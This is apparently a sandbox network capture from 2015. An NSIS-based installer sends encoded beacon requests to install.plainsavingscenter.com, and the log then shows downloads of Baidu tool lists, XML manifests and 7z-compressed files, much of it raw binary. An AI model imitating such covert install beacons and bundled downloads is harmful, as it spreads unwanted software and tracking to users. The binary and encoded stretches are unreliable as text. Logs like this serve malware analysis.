GET /fp?alpha=f2xFCjsuUiEyd1pQaiA0figWBzt/MFN7elhtFB5kOTxLXihpR0h6XHonUAweJGdGKkQKBy8KDRV3HCIlCCQwDjlibQFjPlowIHl4QDVnaVogcV5eemtoDXczDQZFSyB/PBwBPyMWRXhVdSdfDXcickBeQXgeLgt4fmsUVi9sa3pUQHcTQEd/ey1WCX4HOCMyOS0mS0tua3lCcSsAV1dBcWQ/Hgw3KQAXKUV9fEkMaTN6Qk8UKwp9Wm8xNxk2dSVsZ1MFAQpSRWVwbw9QOVo5cHRFWQRVCSU9ZBJ2OggCQUglb2xaQDNEXFM5ECR6VHpiVXpEK0J5B1kPcGF3HSAkDyQ7DUQSc3VjPVwwUA9scBhFFmVsaCUWb14= HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.plainsavingscenter.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 24 Nov 2015 07:03:23 GMT

Content-Length: 0

....

GET /ii?alpha=AmkNCgUtFCJiJhZSIiAKAy1eBwUCNQEiCCdRTF5KXWxcClEXVQAcN1FyTxw3DzlRAS5BCTpOElwWCFsRBz10FHJsdU0UHVI2Gg9Se38iJwoBJGQID1csWSRHYkRYRR8NP1gVACMSEHoeA14MCFYqCRVXDQptfgFDahxfUGYESHF5BXo2CRsHRXMWDVB/bGVlB153CUVYF21YdABiU1oea0ZnXEVVH1VRIylVPUVZAiw9Vzl0BAFjFkUXb1xIFgI9cxwkOTQzSVBeUHgZDz0tMiRSTRJSBQ1LKxtqFXcFEhpAQC4OX0YCVwABMlNpTk8LCDsYOCBcSzxPBA4HPEZzRWMnXzAvMhBIUg8lXVoSPTAkOhdKZQ5FWApuXnYFZERaCl9dawQMQAZGVmxhECgPDEIBPFQOJ1USFlYQQjYfDgMfWS9TNzk/X3VHAnFOTEloNz1pA1YrCRtUXXoJMAh9BxNJGQYuDE0NVxUHfBgKKRgGVFx1eytzdG11SBhKYioHT0RpZ14sMTVCYn08S2oZBCE0KGlzMxp1Kk9TLAciCAJ2cytsEn8FQ10JGGoDCXtcc3MxPmlcG3RkYiRZBUt/Og9RQ3kgVmMVHzoGewJ3Tx8kPDA9MREALgZNDEo/VXcTPgoOTkJiRn96Rg== HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.plainsavingscenter.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 24 Nov 2015 07:03:23 GMT

Content-Length: 84

sHDdFv26Kp8SiK8T4Gq8tj2fAuK0f5obj7l8u0b9pGTDXOrvUpg8z64gnEXvrzePFpO6WP
ZI4 EQRKLyfAAo....

POST /if?alpha=AmkNCgVCOxZBQkNBIiAKAy1eBwUCNQEiCCdRTF5KXWxcClEXVQAcN1FyTxw3DzlRAS5BCTpOElwWCFsRBz10FHJsdU0UHVI2Gg9Se38iJwoBJGQID1csWSRHYkRYRR8NP1gVACMSEHoeA14MCFYqCRVXDQptfgFDahxfUGYESHF5BXo+HBtgC2BHUykgMD8fXhwpaBwAUD8AYFgyCgteXwk6UR0FSRQNYmkCNRAPVV59DUktV0kRShgTNgkeU1tjM19lOD4ZZEEMUxYJTn53eW0HQGsOXlgWeg8jWghYXEV8Zy4OX0QeVVhxDFl1RVMTHWMYXHsfTTpMUUEsGgNRCkEoWTEzKBBAR0NSQlEEIS44dG8gZWsZBkI5GzVcK1leFAlCbRNfWQhLHXZ7BTUQElZYfwhPOlddJVEUS38cB0BcLHsacHJrWUlAD2RFWF0LNyw4XgMtG0M8SjUcI1FkZEsZXVF7SApeERgJajUCaxxFQg85BVZ5Hh5jClFDPlFWEw08AgBxZWFPFAkgQRF5ImgpJDAKNiRXGAwCOAcrW3lzcSdndS4FQ10EGHkPBH5aB0sUASsFKQh+fBYeAEowAQgeYEMTcQQOFCp2FQdxFmktOTg5MRcmLEkfHEUwSA9xARd3GVtQKCVeWRFAGy83DVgbYCAhDG0iDEweD1kTQwMgKWB2QBJEcgAPGktDP1FOUhASFggydRUgSyYfYDotflg1dHc9Yl9/LllWDW1yDz1yfkRMKRgLXipxX14QcDJlNBspVlFmCWYMHz09Q1YTSF17BgthJiV0OABwAB5rKQ4sfQt0WTpMUXgsWnQBYAUhKnNTZHcPGQBNCSN6cCcLWUsnCUYMWXxhC2NzMgwGUAV2Ww4CPC0uCR9QTR0= HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: install.plainsavingscenter.com

Content-Length: 78

Connection: Keep-Alive

Cache-Control: no-cache

alpha=AmkNCgVZfmdPeTIzCG5rNAp4PiRhIlkaVCBaYzRmd0ktf05WeWkpNkBHSFADXF4jLmlKQQ==
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 24 Nov 2015 07:03:23 GMT

Content-Length: 41
{"status":"OK","url":null,"message":null}..

POST /queryfeature.do HTTP/1.0

Content-Length: 128

Host: f.eg.bav.baidu.com

e=

.q.,..<.).i.M.{..[..k.px.7. ORM. q..G.|d..
.F..t._.....o3&......[...b?.-4!M..1....c.a ..2g.x...6.j........./]....m
.m.a..~/
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=1..4....(t!x..T...Ul.......j..

POST /queryfeature.do HTTP/1.0

Content-Length: 178

Host: f.eg.bav.baidu.com

e=

t............#|..x..z:..9!.G....)(..}.@.........p[

.{H.@`.c,..... t...5*...It. ".;I;.7=[..Y:.if....Y%(a...[k..!6..@...-w...-.|..'.F...'%...Y...2m .[..b3i.).V.xE/..w...n.h...
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=0.J.N..w).p."g/...m.....~.SC..

GET /baidu_tool/ToolsList_2015_06_10_02_09_55_10.xml HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:16 GMT

Content-Type: application/xml

Content-Length: 1761

Connection: keep-alive

ETag: "650a1d7-6e1-51b0cf97f99c0"

Last-Modified: Fri, 17 Jul 2015 07:17:03 GMT

Age: 344800

Content-Range: bytes 0-1760/1761

Accept-Ranges: bytes

Ohc-Content-Crc: 693676215

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
<?xml version="1.0" encoding="utf-8"?>..<Tools XmlVersion="1.
0">..<Tool Clsid="CA280438-92C2-4c4d-A7E1-CC81690F33C7" Id="1" N
ame="Cloud File Scanner" UpdateType="HideTool" Version="1.0.0.1"/>.
.<Tool Clsid="8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73" Id="55" Name="S
park Browser" UpdateType="Reinstall" Version="1.0.0.9"/>..<Tool 
Clsid="639C9925-1C42-4236-991B-AEAB22353808" Id="60" Name="App Store" 
UpdateType="Reinstall" Version="1.0.0.10"/>..<Tool Clsid="3811A2
B3-20AF-486d-81FA-8774762CC135" Id="3" Name="Language Translator" Upda
teType="Reinstall" Version="1.0.1.1"/>..<Tool Clsid="5DB281C3-B6
55-656A-01B6-E302199E376A" Id="30" Name="Ad Blocker" UpdateType="Reins
tall" Version="1.0.1.1"/>..<Tool Clsid="23A88272-3BEB-64D1-7DFB-
470FD51F9BBA" Id="47" Name="Network Repair" UpdateType="Reinstall" Ver
sion="1.0.1.1"/>..<Tool Clsid="8A73A249-C3BE-401A-8335-A83208093
1D3" Id="21" Name="Malicious Plug-in Cleaner" UpdateType="Reinstall" V
ersion="1.0.1.1"/>..<Tool Clsid="DEF8DB04-2D26-469A-8D59-5D813E8
9773D" Id="15" Name="Traffic Firewall" UpdateType="Reinstall" Version=
"2.0.1.2"/>..<Tool Clsid="7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE" 
Id="27" Name="Sandbox" UpdateType="Reinstall" Version="1.0.1.1"/>..
<Tool Clsid="09F68E66-0B2F-47f7-83AF-77569A4A63C1" Id="6" Name="Pri
vate Browsing" UpdateType="Reinstall" Version="1.0.3.1"/>..<Tool
 Clsid="6BA17A92-4345-49c0-A228-A57C2E779055" Id="4" Name="File Shredd
er" UpdateType="Reinstall" Version="1.0.0.5"/>..<Tool Clsid=<<< skipped >>>

GET /baidu_tool/8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73/1.0.0.9/ToolFileList.xml HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:16 GMT

Content-Type: application/xml

Content-Length: 779

Connection: keep-alive

ETag: "dbfc6aa-30b-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 665060

Content-Range: bytes 0-778/779

Accept-Ranges: bytes

Ohc-Content-Crc: 1378267781

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<ToolFileList>.
.<SelfCheck Size="0x0000030b" Md5="0xE1AB87344D3E9F8157BB3E73EFB5EF
44" />..<ToolInstall>..<File Name="8C8AEEC1-5166-4CE7-BBAD
-7C37409D0C73.zip" Size="0x001244db" Time="0x01cffca7f7df939f" Md5="0x
e70a1d69d1a11b2f5e227f9412b055bf" />..</ToolInstall>..<Too
lSummary>..<File Name="ALLICON_05.png.7z" Size="0x00000a0c" Time
="0x01cffca7f95ee09f" Md5="0x70ceb85140da681032d000a6149e516b" DcSize=
"0x00000afe" DcTime="0x01cfe3657ae33084" DcMd5="0xb40b9523a6bb352f3d15
8962358b97b1" />..<File Name="detail.xml.7z" Size="0x00000357" T
ime="0x01cffca7f9608e4f" Md5="0x6f6c1364e61a74d8efe64d38d7ebd39f" DcSi
ze="0x00000747" DcTime="0x01cffca1002f03cc" DcMd5="0x8c87ae0f63f67a587
04911290920e1f3" />..</ToolSummary>..</ToolFileList>ont>....

GET /baidu_tool/8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73/1.0.0.9/ToolSummary/ALLICON_05.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:17 GMT

Content-Type: image/png

Content-Length: 2572

Connection: keep-alive

ETag: "dbfc6af-a0c-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 683484

Content-Range: bytes 0-2571/2572

Accept-Ranges: bytes

Ohc-Content-Crc: 2332407167

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'......w........^............D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...o.J..W....6xA..4..H5.?...8d...b.<$.......tXG
..bU.mp.p.8VV...e.y.%.^.)....u..6.....%..2.n..B..[../j....u..'...`....
,.,!....Xqh..1..@y....2..;.T..$.B.....jql....P........j? ..4wM|4..k...
...#...V3.'...H.Z.}cDs.W]......gf..%-.l|...E.........9.{...S=N..,rk...
.l/.i.........].GU...>I{7..r.....m....u.u#.3@[..... /=... #;..f<
....;0.f..........A..X~.Y2..j....b.....g~G...S.y..d.y..%.hJ..T.......M
.N.Q.h..u._.........xK.N.a~|vz....i0.8.|....c;)..}@T..@a#.=z.IJ.J..u_.
..p.;...r.4...{q...h....".XIm...[:........Od..P.....2Vj.A.(..I..& .N..
..zO...r..b..8...f.. AU.....k.t.WC...>..r......;...#L.Q.....>>
;xV.n...a..T..o...}.............jU...{.*B..Z...%4....p...*X....k.....&
....~._.S....o.b...A...K.. ....BoQc..q{g.D.../......E[h.^...zC...8..i.
.O....'M.`...T... IU...}..\..N .fY.a. .O....H.....(...J...h$y.#..mR/..
.(X.d.>..L3..7S$..u...W........K:....E.....G....h..@.Qz...).B(.....
.....@.....G..xO.p...f....GJ.3lv..!..8`*.(`....?DGC.....w..d#.?.o..2M7
5..!P..(M.X.Z....c....KK.f.7.Mc.\dqgC..}.........w3.`.".........'.@.U.
..C.......0?;..y. v....i&.{..r..3.....U'......v.....WnJ.Q6......D.<<< skipped >>>

GET /baidu_tool/8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73/1.0.0.9/ToolSummary/detail.xml.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:17 GMT

Content-Type: application/xml

Content-Length: 855

Connection: keep-alive

ETag: "4c3e036-357-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 687528

Content-Range: bytes 0-854/855

Accept-Ranges: bytes

Ohc-Content-Crc: 1836118904

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...X...........V.......;A...w........3.a`.....f.v.N.....4..IKY..p
6......d......j\...: /.9.2...Qx#....@.4..*.....E..^ ...'.B../.....r/..
a..FF.T....J....L.......[P..`C.D....!..G.B..5.F.4..O.J&..C@. ..<y..
...."......e.1la..s.(._...\v.(..j..ezY]..R...m...3.L..y.e.%.l......Mc.
.^R.*..R..|A^.L..YB.i.tT..eE.m..^BAt..m.U.... J(WJi{..,...C...~....b.i
Ux@.e...$..q|..\...5/..U....7p....6....l...@cQU.6..7X.Gw.pO].!...*. ..
>J....(d:.,...C..EY#7.jC.....&.=.....y..S............S`.ij'6)&_....
..A..C2.;.t`.Y.z....... .......D\.....@;.y......U..X.*.k.k.%......:`..
z..B...,.{|..\......]...i.....U..L...r.W...b.......d1..G....@...O..X..
...V......J.f'.......#....<..@.$:&#[]e.j j..-c..Ye..........'r....l
8Xw,!...Y....0..&.k...q..).._\.-b.M...R.ox..4.^...X.S.a............p.w
.n....b...............#....]......G.....Fe2.......d.e.t.a.i.l...x.m.l.
......../......... .........


GET /baidu_tool/639C9925-1C42-4236-991B-AEAB22353808/1.0.0.10/ToolFileList.xml HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:17 GMT

Content-Type: application/xml

Content-Length: 779

Connection: keep-alive

ETag: "dbfc6bd-30b-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 665176

Content-Range: bytes 0-778/779

Accept-Ranges: bytes

Ohc-Content-Crc: 4105951115

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<ToolFileList>.
.<SelfCheck Size="0x0000030b" Md5="0x4FEDE79066A75933D2B228D733F7B3
1F" />..<ToolInstall>..<File Name="639C9925-1C42-4236-991B
-AEAB22353808.zip" Size="0x000b2840" Time="0x01cfff34490e6b4e" Md5="0x
b4db8c5a9ec502aacbbb0988120e53d5" />..</ToolInstall>..<Too
lSummary>..<File Name="ALLICON_05.png.7z" Size="0x000007cd" Time
="0x01cfff344acfd5df" Md5="0x753e02fd9a8c03e683717fc3d03d1909" DcSize=
"0x000008c6" DcTime="0x01cffa66426e99d8" DcMd5="0xac1c4b12a7c01bc08ef1
cb88f6bb9ba7" />..<File Name="detail.xml.7z" Size="0x0000035a" T
ime="0x01cfff344ad1839a" Md5="0x2a521fdae76540da418c1b4d944a47ab" DcSi
ze="0x00000792" DcTime="0x01cfff30d3dd7f00" DcMd5="0xebd393909cf4690f4
56df2b7d72de574" />..</ToolSummary>..</ToolFileList>HTT
P/1.1 206 Partial Content..Date: Tue, 24 Nov 2015 07:04:17 GMT..Conten
t-Type: application/xml..Content-Length: 779..Connection: keep-alive..
ETag: "dbfc6bd-30b-515066b325100"..Last-Modified: Fri, 01 May 2015 14:
56:36 GMT..Age: 665176..Content-Range: bytes 0-778/779..Accept-Ranges:
 bytes..Ohc-Content-Crc: 4105951115..Server: hkg01-sys-jorcol03.hkg01.
baidu.com..CDN-AGE: 1.....<?xml version="1.0" encoding="UTF-8"?>
..<ToolFileList>..<SelfCheck Size="0x0000030b" Md5="0x4FEDE79
066A75933D2B228D733F7B31F" />..<ToolInstall>..<File Name="
639C9925-1C42-4236-991B-AEAB22353808.zip" Size="0x000b2840" Time="0x01
cfff34490e6b4e" Md5="0xb4db8c5a9ec502aacbbb0988120e53d5" />..&l<<< skipped >>>

GET /baidu_tool/639C9925-1C42-4236-991B-AEAB22353808/1.0.0.10/ToolSummary/ALLICON_05.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:18 GMT

Content-Type: image/png

Content-Length: 1997

Connection: keep-alive

ETag: "dbfc6c2-7cd-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 647593

Content-Range: bytes 0-1996/1997

Accept-Ranges: bytes

Ohc-Content-Crc: 1269286001

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...)...O.......^....... .R..D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...uN.`.<..ZK.U. .......E......e.(......0wn.xH.
....~V...uy..e..J2....L.b..}ca....!rW.?.'.-.....^..............p.<.
[vVI..2j:R..t.....P..).....x.'h.U.If..W...s.E......=..9.p.^od.m8....3f
.....1...*......,.K.......2j.....$.x^Ng4U\......0...F"a-.....<.b?..
u.O3G..O.[.m..7.=4.............l..N{...\*.T.....A>"?.%..G0_...@M{..
./d.l..|..P.b.du.KC.U..U.1.P..q..}........8....*.t..J.l......a..1y....
S)3......yF.|a.....5.....f...7...........NB.e....IW7.ZZ........M...../
.kg3H..!.B...s.....J....[.F&F.|>Xs-F.<...yX....Fw.v....h..Cx. &g
t;..8...Fa.T.$.)ZL. M..:.N6>.&.F'3.......v..({.p.. !...vNx.P3..x9.6
.=7.d...^s..q.0...\5L./..H0...j^..2.x...............Q.c....=..\.....V.
.Q]....u.&.VTU..Ij.D&.y.< R{x...SM1..6..?....h..\:..........W...m..
...0..D..[...`F.U.4.....=.p.8.s...i.Z....l......./...e.#..*u..H.<..
.@.........r..AQu.........C]&.9;....Q...B.V..UX7.},....T....~;..'.....
.o.......Q|....}....mL.....2h........wfN..v./.....!u.R7=."@!K..0...Q.N
..#...:.R..N..EW..Qy.m.%..@.[.....'..D..=)..9n...../.qS..C.......f...f
D.`.......2C.........U.q....(.~.,<N.X......(-0..z)...jZK.H..5^.<<< skipped >>>

GET /baidu_tool/639C9925-1C42-4236-991B-AEAB22353808/1.0.0.10/ToolSummary/detail.xml.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:18 GMT

Content-Type: application/xml

Content-Length: 858

Connection: keep-alive

ETag: "dbfc6c4-35a-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 647543

Content-Range: bytes 0-857/858

Accept-Ranges: bytes

Ohc-Content-Crc: 99973832

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1

7z..'...Q...........V.......fj.b.w........3.a`.....f.v.N.....4..IKY..p
6......d......j\...: /.9.2...Qx#....@.4..*.....E..^ ...'.B../.....r/..
a.w....-....... ....x./....oky....C...I...y..#.R....Bo.I...9.....xec..
RvY......4P....hO(:...H%......teu...Bhm._j?'.d.............02.....].YG
.........wr...}.'ny.b..G..B.#..~...F.oS.......#..O.i.^.8....q.'p....j.
q.0.k..Rj.v$c....H.......p#..'..Xu........9.C......W@..n.B..QMr.W...\.
..@...g..d..92..........V '.v.QS.....n.L$.._iXDa.............xA.......
.....".$@Qg=..X.X..*9,.'.............. y.(...t.#.:.w...o.-E.)K}..G3...
..Q.......u.BN...#/..cd...>rF ......$.O|.....^.......]..F..=..5..Q*
...xtjK...dR...w._Q[Kl.sa.....[....|.../...AQ..{...#P....K.-....0&.u..
.,..r=..^.f..Q..<8...p..........S..U.V..l....Y;... ..S..".2.w..$...
.TO!.O................#....]............v.........d.e.t.a.i.l...x.m.l.
..........0....... .........

GET /baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolFileList.xml HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:19 GMT

Content-Type: application/xml

Content-Length: 1399

Connection: keep-alive

ETag: "4c36095-577-515066b048a40"

Last-Modified: Fri, 01 May 2015 14:56:33 GMT

Age: 661204

Content-Range: bytes 0-1398/1399

Accept-Ranges: bytes

Ohc-Content-Crc: 3756561556

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<ToolFileList>.
.<SelfCheck Size="0x00000577" Md5="0x2314D08B795235B3D04ECEF708B545
6D" />..<ToolInstall>..<File Name="3811A2B3-20AF-486d-81FA
-8774762CC135.zip" Size="0x001b61db" Time="0x01d01f615da0483b" Md5="0x
93d39515660199b9abd6c7d8ce33a760" />..</ToolInstall>..<Too
lSummary>..<File Name="detail.xml.7z" Size="0x00000376" Time="0x
01d01f6161831a22" Md5="0x7ee0dad591e4a3083df893de8f9b4845" DcSize="0x0
00007ca" DcTime="0x01d01b57e668784e" DcMd5="0x28866a4426814d43cd1d9dc0
5e1e78b9" />..<File Name="gray_icon2.png.7z" Size="0x0000091a" T
ime="0x01d01f616187870f" Md5="0x92a62a57c68182dacb527fa468cbc338" DcSi
ze="0x00000a21" DcTime="0x01cfa5afde6686e0" DcMd5="0x458554b658e2e31e6
8322802ac548f43" />..<File Name="icon2.png.7z" Size="0x00000e79"
 Time="0x01d01f61618bcceb" Md5="0xf13ba07e0857d27506e323bfca208fd2" Dc
Size="0x00000f6c" DcTime="0x01d00aad881b7044" DcMd5="0x1ff97783d171bdb
a34f6afb9cd508224" />..<File Name="icon2G.png.7z" Size="0x000009
84" Time="0x01d01f61618febb6" Md5="0x75c664840ee96f6853db21fe4e1d2ebf"
 DcSize="0x00000a8c" DcTime="0x01cfa5afde6686e0" DcMd5="0x5ce29b96f12a
c02b71535a26cf525653" />..<File Name="icon2N.png.7z" Size="0x000
00d60" Time="0x01d01f6161940a81" Md5="0xbfd65fdb3490a057abbb8f025b08fb
af" DcSize="0x00000e59" DcTime="0x01cfa5afde6686e0" DcMd5="0x1c5310aaa
e5bc6961bc430b9e392f87e" />..</ToolSummary>..</ToolFileLis
t>....
<<< skipped >>>

GET /baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolSummary/detail.xml.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:19 GMT

Content-Type: application/xml

Content-Length: 886

Connection: keep-alive

ETag: "4c3609a-376-515066b048a40"

Last-Modified: Fri, 01 May 2015 14:56:33 GMT

Age: 682831

Content-Range: bytes 0-885/886

Accept-Ranges: bytes

Ohc-Content-Crc: 3525279166

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'......m........V.......,C..........f......{4.Y..!..h.A...z...v..h
.&...#u......`p6.vw".....4.....x.6...M..T@9."...@...K..kdJ..>f..Uz.
.....`#uk...Y..d..p......r..J.H.4..........I(E..x.o`..'.t.A.T.,......Q
\..;..e..........2k..!EV..>......Cr.....S........B%..;...^..;;.;..]
c.I?[..YM...b...[<an[I..A..C...u..Dk../0 ...n..N.K|).b8.Ua....]L.hK
...U.o;..O6. ...K.....7...........o"..:.p...v.L..u.S..HC.[JV.".u4.....
C.]........'.....?.bBZ0..w..... .E..&Q... :....`..NK..x.2bu.......w...
7._F.yF.v$.Qx...W...G...D.............;...wb uDuTn.......[k0U...Y.-L..
....:Ja".3.u.`"..QRkk.}/.\....b..Q8D.....Ff....t.9r.y....h.8......3...
.f.|9.aF...Z..B...].^....P...E..69..!......t....I.CKr..q.....2..J.*.b&
.>..O."....K...Y..O...,?.....iRY.....E"v(.!T....P......~....i. ..I.
0.c..'..)5.!.Z%...C2.%...Q..*..I.R.*R.k.................#....]........
..../.2.......d.e.t.a.i.l...x.m.l.......Nxh.W....... .........


GET /baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolSummary/gray_icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:19 GMT

Content-Type: image/png

Content-Length: 2330

Connection: keep-alive

ETag: "4c3609c-91a-515066b048a40"

Last-Modified: Fri, 01 May 2015 14:56:33 GMT

Age: 663376

Content-Range: bytes 0-2329/2330

Accept-Ranges: bytes

Ohc-Content-Crc: 792193275

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'.....x.........^.......P.|W.D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q..M:....{..
E..... ...........d.f......Y9.k...............f.&..p.i.;.-.b.9..B.C...
-........]..b[....>....(....T.rQ..u.1XG./.0o|...`.>...X.Ov.tT...
.zR...R[ .y..=...&|j].a..x..j.1.B..i.];3...s.cLC...?.... /.Ss......E9.
'..".[......H.Ls.x<.... P.7.98.)u\...t. ....'.A...-......{..R....wv
U..E....-K.O...........0...0..a@..g.P...r.......C....f@.D3.2...e...[..
W.J..rA...p..Y...p.Ldvb.=....[.......Z.wq.%j.(.f..*N.v.*..G......cHx..
.!..}.....H.....z9...Pn..[M=.G...%pt.Q......i]<......g[.aw.l....N..
.w0.lt.(.'...8.4...z....J}*RJ....o8.......WC.F......a.l^.*..d.........
.A...E..%.."'.P..*O,F.%...._..Z.idlaS..........[@.....Cl..Q..m.S..Z._.
....{.!e.0..a.].I...^.........4UXD[.X6...<." .....ItYY>.O...G#..
..:...[.y.|.E..Y0.WN...H....&.'.0.B.H......2...Y-4..j....cZ.._...R{..M
..`d?....h9...J...?...R.....O|. V@X .....S`k......,.sW...m..->r..~.
y............u-....9?.Y...\.~..;....Z.v.%...f.^..].,%I..iF..)....x.d..
..Y-.wO8tKU?.>..B7..i"..t.yrK4.W...e..,..-T....{.;....t..~..nG.lwG.
.....Xk....cW.....#Ph...s....#..%Z...u..E....7f....3..C..a.N3Y...qY.H~
.V .}.e.......F....dz/>.2hU..Z.4G.{%....Gs..Bi.qy...... .&...r.<<< skipped >>>

GET /baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolSummary/icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:20 GMT

Content-Type: image/png

Content-Length: 3705

Connection: keep-alive

ETag: "4c3609e-e79-515066b048a40"

